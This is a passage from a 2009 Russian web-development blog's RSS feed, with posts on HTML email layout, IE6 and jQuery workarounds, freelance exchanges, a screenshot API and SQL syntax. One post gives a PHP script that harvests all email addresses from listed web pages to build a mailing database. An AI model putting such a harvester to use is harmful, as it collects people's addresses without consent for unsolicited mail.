&lt;td width=&#187;100%&#187;&gt;&lt;/td&gt;<br />
&lt;td width=&#187;10&#8243; nowrap&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;</p>
<p>только фиксированные размеры всех ячеек;</p>
<p>Можно для создания левого отступа средствами чистого html  использовать соответствующий тэг, имеющий левый отступ «по умолчанию» — dd… но  outlook 2007, осуществляющий рендеринг html-страниц при помощи движка от microsoft office word (!), начинает при этом страшно глючить, так что вариант отпадает</p>
<p><strong>padding-top, padding-bottom</strong></p>
<p>для создания вертикальных отступов надо использовать картинки ,  сделать «пустую» картинку (лучше не 1?1, а хотя бы 10?10, чтобы письмо не оказалось вдруг в папке со спамом) и путём задания для неё нужной высоты формировать соответствующий отступ (также мы помещаем картинку в div, понятно, думаю, зачем):</p>
<p>&lt;div&gt;&lt;img src=&#187;padding.png&#187; alt=&#187;" border=&#187;0&#8243; height=&#187;10&#8243;&gt;&lt;/div&gt;</p>
<p>единицы измерения (px) в значении атрибута не указываются — в соответствии со стандартами;</p>
<p><strong>font</strong></p>
<p>чтобы поменять гарнитуру/размер/цвет шрифта придётся каждый раз задавать все параметры при помощи архаичного тэга font (каждый раз — вообще для любого текста внутри любых блочных тэгов и все):</p>
<p>&lt;font face=&#187;tahoma,sans-serif&#187; color=&#187;#000000&#8243; size=&#187;2&#8243;&gt;текст ссылки&lt;/font&gt;</p>
<p>нужно поменять цвет ссылки, тэг font располагаем внутри a;</p>
<p><strong>ссылки</strong></p>
<p>следует не забывать добавлять атрибут target  со значением _blank (чтобы ваш сайт не пытался открыться прямо в окне почтового клиента) и если вы привыкли ставить «до поры до времени» в пустые ссылки решетку (#), не удивляйтесь, что gmail и yandex такие ссылки за ссылки не посчитают — проще говоря, следует сразу задавать реальные адреса;</p>
<p><strong>цвета</strong></p>
<p>для того, чтобы сделать прямоугольный блок с текстом, залитый каким-нибудь фоновым цветом, делаем таблицу, в ней строку, в ней ячейку и для ячейки — атрибут bgcolor, больше вариантов нет… кроме того, при задании любого цвета в шестнадцатеричном формате нельзя использовать сокращенную запись (например, #FFF вместо #FFFFFF) — заданный таким образом цвет автоматически трансформируется в чёрный;</p>
<p><strong>картинки в тексте</strong></p>
<p>В любом самоучителе по html тех  времён рассказывалось, как можно сделать обтекание текста вокруг картинки (без всякого css) — при помощи атрибутов тэга img, а именно align, vspace и hspace — воспользоваться этим нам тоже нельзя некоторые почтовые клиенты (и среди них, например, the bat) эти атрибуты проигнорируют, при этом, float:left будет работать в них также криво (или не работать вообще) — вывод: опять спасаемся таблицами;</p>
<p><strong>картинки в оформлении</strong></p>
<p>т.к. в background адреса картинок мы прописывать, фактически, не можем — все оформительские рисунки придётся включать при помощи тэга img и лучше обнулить межстрочный интервал, чтобы предотвратить возникновение нежелательных (и непонятных) отступов в том же the bat:</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 11px; line-height: 20px;"><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">div</span><span class="Apple-converted-space"> </span><span style="color: #ff0000;">style</span><span style="color: #0000ff;">=&#187;line-height:0;&#187;</span><span style="color: #0000ff;">&gt;&lt;</span><span style="color: #800000;">img</span><span class="Apple-converted-space"> </span><span style="color: #ff0000;">src</span><span style="color: #0000ff;">=&#187;border.png&#187;</span><span class="Apple-converted-space"> </span><span style="color: #ff0000;">alt</span><span style="color: #0000ff;">=&#187;"</span><span style="color: #0000ff;">&gt;&lt;/</span><span style="color: #800000;">div</span><span style="color: #0000ff;">&gt;</span></span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 11px; line-height: 20px;"><span style="color: #0000ff;"><br />
</span></span></span></p>
<p><strong>программы и инструментарий</strong></p>
<p>ничего лучше outlook express нет —  он позволяет легко создавать html-письма на основе шаблона (Сообщение ? Создать с использованием ? Выбор бланка&#8230;)</p>
<p>вот  <a href="/work/markup/divatravel.com.ua/index.html">пример верстки в html для email  рассылки</a></p>
<p>смотри код  как и что</p>
<p>ps:в примере  ссылки на изображения относительные, в рабочем варианте нужно делать как было сказано полными</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/26/verstka-v-html-email/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SELECT и плавающий DIV в IE 6</title>
		<link>http://saintist.ru/2009/05/26/select-i-plavayushhij-div-v-ie-6/</link>
		<comments>http://saintist.ru/2009/05/26/select-i-plavayushhij-div-v-ie-6/#comments</comments>
		<pubDate>Tue, 26 May 2009 17:04:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE6]]></category>
		<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=460</guid>
		<description><![CDATA[Сделал плавующий див, все работает в файрфоксе и в ие7, в 6 же експлорер мой плавующий див всегда ниже select(drop down list), почему как от этого избавиться.в ИЕ6 селектбокс поверх любого элемента при любых ухищрениях. Решение черз iframe: &#60;div id=”media” style=”position:absolute; left:198px; top:97px; width:400px; height:106px; z-index:3;”&#62; &#60;iframe style=”position:absolute; left:0px; top:0px; width:100%; height:100%; z-index:103;”&#62;&#60;/iframe&#62; &#60;div style=”position:relative; [...]]]></description>
			<content:encoded><![CDATA[<p>Сделал плавующий див, все работает в файрфоксе и в ие7, в 6 же експлорер мой плавующий див всегда ниже select(drop down list), почему как от этого избавиться.в ИЕ6 селектбокс поверх любого элемента при любых ухищрениях.</p>
<p>Решение черз iframe:</p>
<p><span id="more-460"></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #777777; font-family: 'Lucida Grande'; font-size: 13px; line-height: 17px; text-align: left;"><br />
</span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #777777; font-family: 'Lucida Grande'; font-size: 13px; line-height: 17px; text-align: left;">&lt;div id=”media” style=”position:absolute; left:198px;<br />
top:97px; width:400px; height:106px; z-index:3;”&gt;<br />
&lt;iframe style=”position:absolute; left:0px; top:0px; width:100%;<br />
height:100%; z-index:103;”&gt;&lt;/iframe&gt;</span></span></p>
<p>&lt;div style=”position:relative; left:0px; top:0px; width:300px;<br />
height:400px; z-index:203;background-color: #7777FF;border: 1px solid #000;”&gt;&lt;/div&gt;<br />
&lt;/div&gt;</p>
<p>&lt;select style=”position: relative; left:208px; top:165px; width:200px; display: block;”&gt;<br />
&lt;option. item option&lt;/option&gt;<br />
&lt;/select&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/26/select-i-plavayushhij-div-v-ie-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prototype и jQuery используем одновременно</title>
		<link>http://saintist.ru/2009/05/26/prototype-i-jquery-ispolzuem-odnovremenno/</link>
		<comments>http://saintist.ru/2009/05/26/prototype-i-jquery-ispolzuem-odnovremenno/#comments</comments>
		<pubDate>Tue, 26 May 2009 15:22:28 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Prototypejs]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=453</guid>
		<description><![CDATA[Бывает необходимо в проект выполненный с использованием Prototype добавить фичу которая уже сдалена на jQuery в виде плагина, изобретать велосипед нет ни желания ни времени. Но если просто подключить jQuery то идет конфликт jQuery и Prototype . Необходимо включить режим noConflict у jQuery. Нужно сделать так. &#60;script type=&#187;text/javascript&#187;&#62; $j = jQuery.noConflict();&#60;/script&#62; И везде для Prototype [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/prototype-jquery.jpg"><img class="size-full wp-image-458 aligncenter" title="prototype-jquery" src="http://saintist.ru/wp-content/uploads/2009/05/prototype-jquery.jpg" alt="prototype-jquery" width="500" height="312" /></a></p>
<p>Бывает необходимо в проект выполненный с использованием Prototype  добавить фичу которая уже сдалена на jQuery  в виде плагина, изобретать велосипед  нет ни желания ни времени. Но если просто подключить jQuery то идет конфликт jQuery  и Prototype .</p>
<p>Необходимо включить режим <span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Verdana; font-size: 12px; text-align: left; white-space: pre;">noConflict у </span></span>jQuery.</p>
<p>Нужно сделать так.<br />
<span id="more-453"></span></p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Verdana; font-size: 12px; text-align: left; white-space: pre;">&lt;script type=&#187;text/javascript&#187;&gt; $j = jQuery.noConflict();&lt;/script&gt;</span></span></p>
<p>И везде для Prototype продолжать  применяется  знак $, а для jQuery &#8212; $j. После этого достаточно  в файле плагина все $ заменить на $j, подключить jQuery к проекту &#8212; и все заработало как того и хотелось.</p>
<p>вот пример  html кода</p>
<div id="_mcePaste">&lt;html&gt;</div>
<div id="_mcePaste">&lt;head&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;prototype.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;jquery.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script&gt;</div>
<div id="_mcePaste">var $j = jQuery.noConflict();</div>
<div id="_mcePaste">// используем jQuery через $j(&#8230;)</div>
<div id="_mcePaste">$j(document).ready(function(){</div>
<div id="_mcePaste">$j(&#171;div&#187;).hide();</div>
<div id="_mcePaste">});</div>
<div id="_mcePaste">// юзаем  Prototype чеерз $(&#8230;), соответственно.</div>
<div id="_mcePaste">$(&#8216;someid&#8217;).hide();</div>
<div id="_mcePaste">&lt;/script&gt;</div>
<div id="_mcePaste">&lt;/head&gt;</div>
<div id="_mcePaste">&lt;body&gt;&lt;/body&gt;</div>
<div id="_mcePaste">&lt;/html&gt;</div>
<div id="_mcePaste">или</div>
<div id="_mcePaste">&lt;html&gt;</div>
<div id="_mcePaste">&lt;head&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;prototype.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;jquery.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script&gt;</div>
<div id="_mcePaste">jQuery.noConflict();</div>
<div id="_mcePaste">//используем  jQuery через jQuery(&#8230;).</div>
<div id="_mcePaste">jQuery(document).ready(function(){</div>
<div id="_mcePaste">jQuery(&#171;div&#187;).hide();</div>
<div id="_mcePaste">});</div>
<div id="_mcePaste">// используем  Prototype чеерз $(&#8230;), соответственно.</div>
<div id="_mcePaste">$(&#8216;someid&#8217;).hide();</div>
<div id="_mcePaste">&lt;/script&gt;</div>
<div id="_mcePaste">&lt;/head&gt;</div>
<div id="_mcePaste">&lt;body&gt;&lt;/body&gt;</div>
<div id="_mcePaste">&lt;/html&gt;</div>
<div id="_mcePaste">или же вот так</div>
<div id="_mcePaste">&lt;html&gt;</div>
<div id="_mcePaste">&lt;head&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;prototype.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script src=&#187;jquery.js&#187;&gt;&lt;/script&gt;</div>
<div id="_mcePaste">&lt;script&gt;</div>
<div id="_mcePaste">jQuery.noConflict();</div>
<div id="_mcePaste">//оборачиваем  $ для  jQuery в область видимости  jQuery(document).ready</div>
<div id="_mcePaste">jQuery(document).ready(function($){</div>
<div id="_mcePaste">// используем jQuery через  $</div>
<div id="_mcePaste">$(&#171;div&#187;).hide();</div>
<div id="_mcePaste">});</div>
<div id="_mcePaste">// Prototype через $(&#8230;).</div>
<div id="_mcePaste">$(&#8216;someid&#8217;).hide();</div>
<div id="_mcePaste">&lt;/script&gt;</div>
<div id="_mcePaste">&lt;/head&gt;</div>
<div id="_mcePaste">&lt;body&gt;&lt;/body&gt;</div>
<div id="_mcePaste">&lt;/html&gt;</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/26/prototype-i-jquery-ispolzuem-odnovremenno/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>о биржах фриланса</title>
		<link>http://saintist.ru/2009/05/26/o-birzhax-frilansa/</link>
		<comments>http://saintist.ru/2009/05/26/o-birzhax-frilansa/#comments</comments>
		<pubDate>Tue, 26 May 2009 14:19:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=449</guid>
		<description><![CDATA[Что нужно сделать для реальной конкуренции уже существующим и успешным проектам. 1. Хорошего дизайна. Для того, чтобы привлечь к себе внимание и заставить о себе написать — нужен Дизайн . Надо что-то, за что зацепится глаз впервые попавшего на сайт, чтобы хотелось дальше исследовать сайт. А вот после исследования — можно ожидать и заметок о [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2009/05/freelance.jpg"><img class="alignnone size-full wp-image-450" title="freelance" src="http://saintist.ru/wp-content/uploads/2009/05/freelance.jpg" alt="freelance" width="300" height="300" /></a></p>
<p>Что нужно сделать для реальной конкуренции уже существующим и успешным проектам.</p>
<p><span id="more-449"></span></p>
<p><strong>1. Хорошего дизайна.</strong><br />
Для того, чтобы привлечь к себе внимание и заставить о себе написать — нужен <strong>Дизайн </strong>. Надо что-то, за что зацепится глаз впервые попавшего на сайт, чтобы хотелось дальше исследовать сайт. А вот после исследования — можно ожидать и заметок о сайте. Не интересный дизайн врядли западет в память и тем более заинтересует к исследованию сайта</p>
<p><strong>2. Юзабилити.</strong><br />
Как пользователь захожу на сайт и вижу некоторые пункты меню. Кликаю на них и система мне предлагает залогиниться. Спрашивается: зачем вообще показывать мне эти пункты, если я не залогинен? Такие вещи раздражают.</p>
<p><strong>3. Денежных вложений.</strong><br />
Время, когда можно было сделать на коленке ресурс и выйти в лидеры прошло. (Я с этим несогласен <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) Сейчас требуются немалые бюджеты для того, чтобы сделать рекламу ресурсу, заказать хороший выделенный сервер и нанять грамотную команду разработчиков. Это да. Задумайтесь, откуда появятся ваши первые посетители. И почему они останутся с вами, а не уйдут к конкурентам</p>
<p><strong>4. Понимание потребностей рынка. </strong><br />
Очень удивлен, что многие не понимают, чего требуется рынку и что для того, чтобы у биржи появились заказчики и фрилансеры — нужно предложить что-то, чего нет или недоработано у конкурентов. Не нужно выдумывать мега-фичи. Достаточно взять существующие вещи, доработать найлучшим образом и красиво приподнести. Такой вещью может стать например даже улучшенные блоги или оформление всех проектов через юриста и сервисы безопасных сделок. Также это может быть круглосуточный суппорт (чего кстати, насколько я знаю нет ни у одной биржи на територии СНГ)</p>
<p><strong>5. Хорошей обучающей программы. </strong><br />
Интерфейсы публикации проектов различны у многих бирж. И для заказчиков, которые пришли впервые на сервис — было бы не плохо сделать некоторую вводную обучающую программу (видео или флеш-ролик). Хотябу подсказки в контексте. Лояльность пользователей только повыситься от этого. В целом конечно можно обойтись и без этого, но  для старта это было бы актуальным</p>
<p>Проекты, не имеющие аналогов в мире  — чаще всего умирают, не получив понимания у потенциальной аудитории. Причем я не знаю других вариантов (может кто-то подскажет?) развития таких ресурсов.</p>
<p>Проекты, являющиеся подражанием других проектов, при условии грамотной поддержки и развития — имеют право на жизнь и даже могут  стать лидерами ниши. </p>
<p><strong>6. Готовность прислушиваться к мнению профессионалов.</strong><br />
К сожалению это проблема не только бирж, а и многих стартапов. Очень часто координаторы напрочь не желают прислушиваться к советам и гнут свою линию, думая, что они знают лучше. Только не всегда это соответствует реальности.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/26/o-birzhax-frilansa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Парсер email-адрессов</title>
		<link>http://saintist.ru/2009/05/25/parser-email-adressov/</link>
		<comments>http://saintist.ru/2009/05/25/parser-email-adressov/#comments</comments>
		<pubDate>Mon, 25 May 2009 17:05:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=446</guid>
		<description><![CDATA[Приходилось собирать базу email адрессов. Руками это делать во первых тупо. Вот простой кусок кода который ходит по ссылкам из текстового файла и собирает все mail-адресса на страничке.]]></description>
			<content:encoded><![CDATA[<p>Приходилось собирать базу email адрессов. Руками это делать во первых тупо.</p>
<p>Вот простой кусок кода который ходит по ссылкам из<br />
<span id="more-446"></span><br />
текстового файла и собирает все mail-адресса на страничке.</p>
<pre>
<?
set_time_limit(0);
$lines = file('mail.txt');
$out = array();

foreach ($lines as $line_num => $line) {
$url=file_get_contents(trim($line));
preg_match_all(’~[.-_a-z0-9]+?@[.-a-z0-9]+
?[.a-z0-9]{2,}~i’, $url, $out);
echo $line.' ';

print_r($out);
}
?>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/25/parser-email-adressov/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery SELECT (jquery-asmselect)</title>
		<link>http://saintist.ru/2009/05/25/jquery-select-jquery-asmselect/</link>
		<comments>http://saintist.ru/2009/05/25/jquery-select-jquery-asmselect/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:55:45 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Юзабилити]]></category>
		<category><![CDATA[select]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=441</guid>
		<description><![CDATA[Решения для формы select, с возможностью добавления своих вариантов, очень удобно например при выборе категории. Страница проекта http://code.google.com/p/jquery-asmselect/]]></description>
			<content:encoded><![CDATA[<p>Решения для формы select, с возможностью добавления своих вариантов, очень удобно например при выборе категории. </p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/jquery-asmselect.jpg"><img class="size-full wp-image-442 aligncenter" title="jquery-asmselect" src="http://saintist.ru/wp-content/uploads/2009/05/jquery-asmselect.jpg" alt="jquery-asmselect" width="641" height="212" /></a></p>
<p><span id="more-441"></span></p>
<p>Страница проекта <a href="http://code.google.com/p/jquery-asmselect/">http://code.google.com/p/jquery-asmselect/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/25/jquery-select-jquery-asmselect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>скриншоты сайтов</title>
		<link>http://saintist.ru/2009/05/25/skrinshoty-sajtov/</link>
		<comments>http://saintist.ru/2009/05/25/skrinshoty-sajtov/#comments</comments>
		<pubDate>Mon, 25 May 2009 16:44:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=436</guid>
		<description><![CDATA[Вопрос: Как при помощи PHP сделать скриншот сайтов? Ответ: Никак ! Cредствами PHP делать скриншоты сайтов нельзя! Можно использовать сервис сайта http://www.artviper.net Идём по ссылке http://www.artviper.net/registerAPI.php регистрируемся, необходимо вбить свой логин, емеил и урл сайта с которого будут идти запросы на создание скриншотов. После этого на указанный емеил приходит письмо с ссылкой для подтверждения регистрации, [...]]]></description>
			<content:encoded><![CDATA[<p>Вопрос: Как при помощи PHP сделать скриншот сайтов?<br />
Ответ: Никак !</p>
<p>Cредствами PHP делать скриншоты сайтов нельзя!<br />
<span id="more-436"></span><br />
Можно использовать  сервис сайта<br />
<a href="http://www.artviper.net">http://www.artviper.net</a></p>
<p>Идём по ссылке</p>
<p><a href="http://www.artviper.net/registerAPI.php">http://www.artviper.net/registerAPI.php</a></p>
<p>регистрируемся, необходимо вбить свой логин, емеил и урл сайта с которого будут идти запросы на создание скриншотов.</p>
<p>После этого на указанный емеил приходит письмо с ссылкой для подтверждения регистрации, после перехода по ней вам придёт ещё одно письмо, в котором рассказывается как использовать данный <strong>API </strong>и ваш персональный <strong>User ID</strong> и <strong>Secret Key</strong>.</p>
<p>Пример работы с API www.artviper.net</p>
<pre class="php" style="border: 1px none #e0e0e0; margin: 0px; padding: 0px; overflow: visible; line-height: 1.333; background-image: none; width: auto; float: none; clear: none; font-size: 12px; font-family: monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$uID</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'453242342232423'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$secretKey</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'4343323'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$url</span><span style="color: #339933;">=</span><span style="color: #0000ff;">"http://saintist.ru"</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$hash</span><span style="color: #339933;">=</span><span style="color: #990000;">md5</span><span style="color: #009900;">(</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #000088;">$uID</span><span style="color: #339933;">.</span><span style="color: #000088;">$secretKey</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;</span>input type<span style="color: #339933;">=</span>image
src<span style="color: #339933;">=</span><span style="color: #0000ff;">"http://www.artviper.net/screenshots/screener.php?url=
&lt;?=<span style="color: #006699; font-weight: bold;">$url</span>;?&gt;
&amp;h=190&amp;w=200&amp;userID=
&lt;?=</span><span style="color: #000088;">$uID;?&gt;</span><span style="color: #0000ff;">
&amp;hash=
&lt;?=<span style="color: #006699; font-weight: bold;">$hash</span>;?&gt;
"</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">"200px"</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">"190px"</span> alt<span style="color: #339933;">=</span><span style="color: #0000ff;">""</span> name<span style="color: #339933;">=</span><span style="color: #0000ff;">"sub"</span><span style="color: #339933;">&gt;</span></pre>
<p><strong>$uID</strong> -персональный id который пришёл в письме<br />
<strong>$secretKey</strong> -секретный ключ который пришёл в письме<br />
<strong>$url</strong> &#8212; адресс страницы которую нам нужно отскриншотить<br />
<strong>$hash</strong> &#8212; обязательный параметр, в котором нам нужно передать MD5 хеш перечисленных переменных, обязательно соблюдать данный порядок.</p>
<p>Теперь дальше, в примере я вставляю скриншот прямо с их сайта, передаём нужные переменные их скрипту, помимо вышеописанных вы видите ещё <strong>h</strong> и <strong>w</strong>, что является высотой и шириной скриншота, который возвращает нам сервис(данные параметры не являются обязательными, если их не указать то сервис автоматически сформирует размер, который посчитает нужным)</p>
<p>А вот ещё несколько необязательных параметров, которые я не использовал, но которые могут некоторым пригодиться</p>
<p><strong>&amp;q</strong> &#8212; качество возвращаемого jpeg скриншота. можно задать значение в пределах от 30 и до 90<br />
<strong>&amp;d</strong> &#8212; задержка перед созданием скриншота<br />
<strong>&amp;sdx</strong> &#8212; ширина виртуального экрана с которого будет сделан скриншот, ну или как это правильно обозвать (разрешение монитора под которым делается скриншот) Может принимать значения 640, 800, 1024, 1280<br />
<strong>&amp;sdy</strong> &#8212; Тоже самое только высота.</p>
<p>Правильным подходом будет сохранение данных скриншотов себе на сайт, и дальнейшее использование уже со своего сервера.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/25/skrinshoty-sajtov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Аналог MySQL оператора LIMIT в MS SQL</title>
		<link>http://saintist.ru/2009/05/25/analog-mysql-operatora-limit-v-ms-sql/</link>
		<comments>http://saintist.ru/2009/05/25/analog-mysql-operatora-limit-v-ms-sql/#comments</comments>
		<pubDate>Mon, 25 May 2009 06:21:43 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=433</guid>
		<description><![CDATA[В MS SQL нет там такого оператора как LIMIT. Но, есть конечно же аналоги. Например, если вы хотите ограничить выборку до 10 строк, это будет выглядеть так: SELECT TOP 10 * FROM some_table; Запрос приведенный выше сделает тоже самое что и SELET * FROM some_table LIMIT 10; в MySQL По такому же принципу можно организовать [...]]]></description>
			<content:encoded><![CDATA[<p>В MS SQL  нет там такого оператора как LIMIT. Но, есть конечно же аналоги. Например, если вы хотите ограничить выборку до 10 строк, это будет выглядеть так:</p>
<p><strong>SELECT TOP 10 * FROM some_table;  </strong></p>
<p>Запрос приведенный выше сделает тоже самое что и </p>
<p><strong>SELET * FROM some_table LIMIT 10;  </strong></p>
<p>в MySQL</p>
<p>По такому же принципу можно организовать и LIMIT X, Y. Например, для постраничного вывода.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/25/analog-mysql-operatora-limit-v-ms-sql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Пол Бакхайт (Paul Buchheit) Не в деньгах  счастье</title>
		<link>http://saintist.ru/2009/05/25/pol-bakxajt-paul-buchheit-ne-v-dengax-schaste/</link>
		<comments>http://saintist.ru/2009/05/25/pol-bakxajt-paul-buchheit-ne-v-dengax-schaste/#comments</comments>
		<pubDate>Mon, 25 May 2009 06:17:56 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=429</guid>
		<description><![CDATA[Cоздатель Gmail и автор первых разработок Google AdSense, размышляет о выборе трудовой деятельности. Как хорошо делать стартап и бла бла бла уже обсуждалось не раз . Это и так понятно Выделим некоторые аспекте. Творческая реализация на работе и заработок. Творческая реализация Стоит учесть, что вопрос он задает с той позиции, что работа может быть неинтересная [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/paul_lowres.jpg"><img class="size-medium wp-image-430 aligncenter" title="paul_lowres" src="http://saintist.ru/wp-content/uploads/2009/05/paul_lowres-214x300.jpg" alt="paul_lowres" width="214" height="300" /></a></p>
<p>Cоздатель Gmail и автор первых разработок Google AdSense, размышляет о выборе трудовой деятельности.</p>
<p>Как хорошо делать стартап и бла бла бла уже обсуждалось не раз . Это и так понятно <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Выделим некоторые аспекте. Творческая реализация на работе и заработок.<br />
<span id="more-429"></span><br />
<strong>Творческая реализация</strong></p>
<p>Стоит учесть, что вопрос он задает с той позиции, что работа может быть неинтересная и, что важно, свои идеи на постоянной работе не всегда воплощаются в жизнь. Другое дело собственный стартап, где ты, в принципе, волен распоряжаться своим проектом так как ты хочешь. Опять же, все зависит от уровня вашего стартапа &#8212; мини-проект или все-таки серьезный проект с юридической составляющей и инвесторской поддержкой. В последнем случае все конечно будет сложнее и вы обратно возвращаетесь туда, где приходится объяснять и доказывать. В какой-то степени он безусловно прав. На работе мы всегда кому-то подчиняемся и широта вашей мысли не всегда нужна вашему руководителю. Прекрасно, когда ваша креативная активность идет в ногу с креативностью вашего тим-лидера. Но ведь можно, безусловно можно добиться воплощения ваших идей и там?</p>
<p><strong>Деньги</strong></p>
<p>Скорей всего, с самого начала ваш стартап не грянет громом. Соответственно, и денег “громовых” не будет. И через месяц их скорей всего не будет. И через два. Шанс того, что ваш  проект будет куплен или хотя бы вы продадите процент его акций слишком низок. В этом плане стартап конечно проигрывает постоянной работе по всем направлениям и нужно быть большим оптимистом, чтобы верить в постоянный и стабильный заработок через ваш новый проект.</p>
<p>Из двух вышеперечисленных пунктов видно, что ваш новый проект имеет пока один сомнительный плюс и один жирный минус. И отсюда следует, что стартап делать… все-таки нужно. Обязательно. Для начала можно хотя бы просто реализовывать собственные идеи, наработки. Пробовать, испытывать, ошибаться и снова пробовать. Денежные затраты для таких тестирований минимальны (благо хостинг и домен на год сейчас стоят как один поход в магазин), а опыт, приобретенный из таких тестов, незаменим. После нескольких неудач можно подойти к делу с другой стороны. С бизнес-планированием, вопросом оригинальности идеи, анализированием конкурентов и поиском инвесторов.</p>
<p>ps: Какая бы ни была у вас хорошая работа и какой бы ни был высокий заработок, никогда не нужно задерживаться в собственном развитии. Всегда есть к чему стремиться, всегда нужно пытаться что-то делать лучше или учиться новому.</p>
]]></content:encoded>
